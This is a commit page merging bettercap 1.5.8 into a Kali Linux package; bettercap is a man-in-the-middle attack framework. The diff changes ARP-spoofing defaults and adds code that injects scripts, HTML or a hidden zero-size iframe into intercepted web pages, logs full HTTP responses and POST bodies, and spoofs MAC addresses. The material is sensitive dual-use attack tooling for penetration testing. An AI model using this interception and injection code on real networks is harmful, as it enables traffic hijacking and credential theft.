Commit e5fa1fa0 authored by Sophie Brun's avatar Sophie Brun

Merge tag 'upstream/1.5.8' into kali/master

Upstream version 1.5.8
parents 6acfe82f 3d5a7f8c
......@@ -5,11 +5,11 @@
Gem::Specification.new do |s|
s.name = "bettercap"
s.version = "1.5.6"
s.version = "1.5.8"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["Simone Margaritelli"]
s.date = "2016-07-15"
s.date = "2016-08-26"
s.description = "BetterCap is the state of the art, modular, portable and easily extensible MITM framework featuring ARP, DNS and ICMP spoofing, sslstripping, credentials harvesting and more."
s.email = "evilsocket@gmail.com"
s.executables = ["bettercap"]
......
......@@ -57,8 +57,15 @@ rescue Exception => e
BetterCap::Logger.error "Backtrace :\n\n #{e.backtrace.join("\n ")}\n"
ensure
# handle double ctrl+c nicely
trap("INT") { }
# Make sure all the messages on the logger queue are printed.
BetterCap::Logger.wait!
begin
BetterCap::Logger.wait!
rescue; end
ctx.finalize unless ctx.nil?
begin
ctx.finalize unless ctx.nil?
rescue; end
end
......@@ -95,7 +95,7 @@ class Context
Logger.info "Changing interface MAC address to #{@options.core.use_mac}"
Shell.ifconfig( "#{@options.core.iface} ether #{@options.core.use_mac}")
Shell.change_mac( @options.core.iface, @options.core.use_mac )
end
cfg = PacketFu::Utils.ifconfig @options.core.iface
......
......@@ -104,8 +104,13 @@ class Packet < Network::Protos::Base
uint8 :command_code
def version
return '1' if self.magic == 0x1130
return '2'
if self.magic == 0x1724
return '1'
elsif self.magic == 0x1130
return '2'
else
return '?'
end
end
def command
......
......@@ -36,6 +36,8 @@ class ProxyOptions
attr_accessor :sslstrip
# If true, direct connections to the IP of this machine will be allowed.
attr_accessor :allow_local_connections
# If true, log HTTP responses too.
attr_accessor :log_response
# If true, TCP proxy will be enabled.
attr_accessor :tcp_proxy
# TCP proxy local port.
......@@ -69,6 +71,7 @@ class ProxyOptions
@proxy_module = nil
@sslstrip = true
@allow_local_connections = false
@log_response = false
@tcp_proxy = false
@tcp_proxy_port = 2222
......@@ -160,6 +163,10 @@ class ProxyOptions
@sslstrip = false
end
opts.on( '--log-http-response', 'Log HTTP responses.' ) do
@log_response = true
end
opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::HTTP::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
Proxy::HTTP::Module.load(ctx, opts, v)
@proxy = true
......
......@@ -24,7 +24,7 @@ class SpoofOptions
def initialize
@spoofer = 'ARP'
@half_duplex = false
@half_duplex = true
@kill = false
end
......@@ -41,8 +41,8 @@ class SpoofOptions
@spoofer = 'NONE'
end
opts.on( '--half-duplex', 'Enable half-duplex MITM, this will make bettercap work in those cases when the router is not vulnerable.' ) do
@half_duplex = true
opts.on( '--full-duplex', 'Enable full-duplex MITM, this will make bettercap attack both the target(s) and the router.' ) do
@half_duplex = false
end
opts.on( '--kill', 'Instead of forwarding packets, this switch will make targets connections to be killed.' ) do
......
......@@ -67,13 +67,13 @@ class InjectCSS < BetterCap::Proxy::HTTP::Module
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
# inject URL
if @@cssdata.nil?
replacement = " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head> "
response.body.sub!( '</head>' ) {replacement}
replacement = " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head> "
# inject data
else
replacement = "#{@@cssdata}</head> "
response.body.sub!( '</head>' ) {replacement}
replacement = "#{@@cssdata}</head> "
end
response.body.sub!( /<\/head>/i ) { replacement }
end
end
end
......@@ -36,6 +36,12 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
@@data = v
end
opts.on( '--html-file PATH', 'Path of the html file to be injected.' ) do |v|
filename = File.expand_path v
raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename)
@@data = File.read( filename )
end
opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
@@iframe = v
end
......@@ -44,7 +50,7 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
# Create an instance of this module and raise a BetterCap::Error if command
# line arguments weren't correctly specified.
def initialize
raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
raise BetterCap::Error, "No --html-file, --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
end
# Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP +request+ and
......@@ -55,12 +61,12 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
if @@data.nil?
replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>"
response.body.sub!( '</body>' ) {replacement}
replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>"
else
replacement = "#{@@data}</body>"
response.body.sub!( '</body>' ) {replacement}
replacement = "#{@@data}</body>"
end
response.body.sub!( /<\/body>/i ) { replacement }
end
end
end
......@@ -67,13 +67,13 @@ class InjectJS < BetterCap::Proxy::HTTP::Module
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
# inject URL
if @@jsdata.nil?
replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>"
response.body.sub!( '</head>' ) {replacement}
replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>"
# inject data
else
replacement = "#{@@jsdata}<p></p></head>"
response.body.sub!( '</head>') {replacement}
replacement = "#{@@jsdata}</head>"
end
response.body.sub!( /<\/head>/i ) { replacement }
end
end
end
......@@ -58,6 +58,9 @@ class Store
# Find the +hostname+:+port+ certificate and return it.
def find( hostname, port )
# make sure *.domain.tld hostnames are correctly sanitized
hostname.gsub!( "*.", "www." )
key = Digest::SHA256.hexdigest( "#{hostname}_#{port}" )
@lock.synchronize {
......
......@@ -287,7 +287,8 @@ class Strip
if link[0].end_with?('\\')
link[0][-1] = '/'
end
links << StrippedObject.process( link[0] )
normalized, stripped = StrippedObject.process( link[0] )
links << [ link[0], stripped ]
end
end
# handle errors due to binary content
......
......@@ -130,11 +130,11 @@ class StreamLogger
def self.log_post( request )
# the packet could be incomplete
if request.post? and !request.body.nil? and !request.body.empty?
msg = "\n[#{'HEADERS'.green}]\n\n"
msg = "\n[#{'REQUEST HEADERS'.green}]\n\n"
request.headers.each do |name,value|
msg << " #{name.blue} : #{value.yellow}\n"
end
msg << "\n[#{'BODY'.green}]\n\n"
msg << "\n[#{'REQUEST BODY'.green}]\n\n"
case request['Content-Type']
when /application\/x-www-form-urlencoded.*/i
......@@ -157,12 +157,40 @@ class StreamLogger
end
end
# This method will log every header and the body of +response+.
def self.log_response( response )
msg = "\n[#{'RESPONSE HEADERS'.light_red}]\n\n"
response.headers.each do |name,value|
msg << " #{name.blue} : #{value.to_s.yellow}\n"
end
msg << "\n[#{'RESPONSE BODY'.light_red}]\n\n"
case response['Content-Type']
when /application\/x-www-form-urlencoded.*/i
msg << self.dump_form( response )
when /text\/plain.*/i
msg << response.body + "\n"
when /gzip.*/i
msg << self.dump_gzip( response )
when /application\/json.*/i
msg << self.dump_json( response )
else
msg << self.hexdump( response.body )
end
Logger.raw "#{msg}\n"
end
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
# with the +request+ and +response+ most important informations.
def self.log_http( request, response )
response_s = ""
response_s += " ( #{response.content_type} )" unless response.content_type.nil?
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
request_s = request.to_url( nil )
code = response.code.to_s[0]
if @@CODE_COLORS.has_key? code
......@@ -172,10 +200,15 @@ class StreamLogger
end
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
# Log post body if the POST sniffer is enabled.
if Context.get.options.sniff.enabled?('POST')
self.log_post( request )
end
if Context.get.options.proxies.log_response
self.log_response( response )
end
end
end
end
......@@ -56,6 +56,17 @@ module Shell
self.execute( "LANG=en && ifconfig #{iface}" )
end
# Change the +iface+ mac address to +mac+ using ifconfig.
def change_mac(iface, mac)
if RUBY_PLATFORM =~ /.+bsd/ or RUBY_PLATFORM =~ /darwin/
self.ifconfig( "#{iface} ether #{mac}")
elsif RUBY_PLATFORM =~ /linux/
self.ifconfig( "#{iface} hw ether #{mac}")
else
raise BetterCap::Error, 'Unsupported operating system'
end
end
# Get the +iface+ network interface configuration ( using iproute2 ).
def ip(iface = '')
self.execute( "LANG=en && ip addr show #{iface}" )
......
......@@ -122,7 +122,7 @@ private
if target.mac.nil?
hw = Network.get_hw_address( @ctx, target.ip )
if hw.nil?
Logger.warn "Couldn't determine target #{target.ip} MAC address!"
Logger.debug "Couldn't determine target #{target.ip} MAC address!"
next
else
target.mac = hw
......@@ -132,7 +132,7 @@ private
elsif target.ip_refresh
ip = Network.get_ip_address( @ctx, target.mac )
if ip.nil?
Logger.warn "Couldn't determine target #{target.mac} IP address!"
Logger.debug "Couldn't determine target #{target.mac} IP address!"
next
else
doprint = ( target.ip.nil? or target.ip != ip )
......
......@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
=end
module BetterCap
# Current version of bettercap.
VERSION = '1.5.6'
VERSION = '1.5.8'
# Program banner.
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
end
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment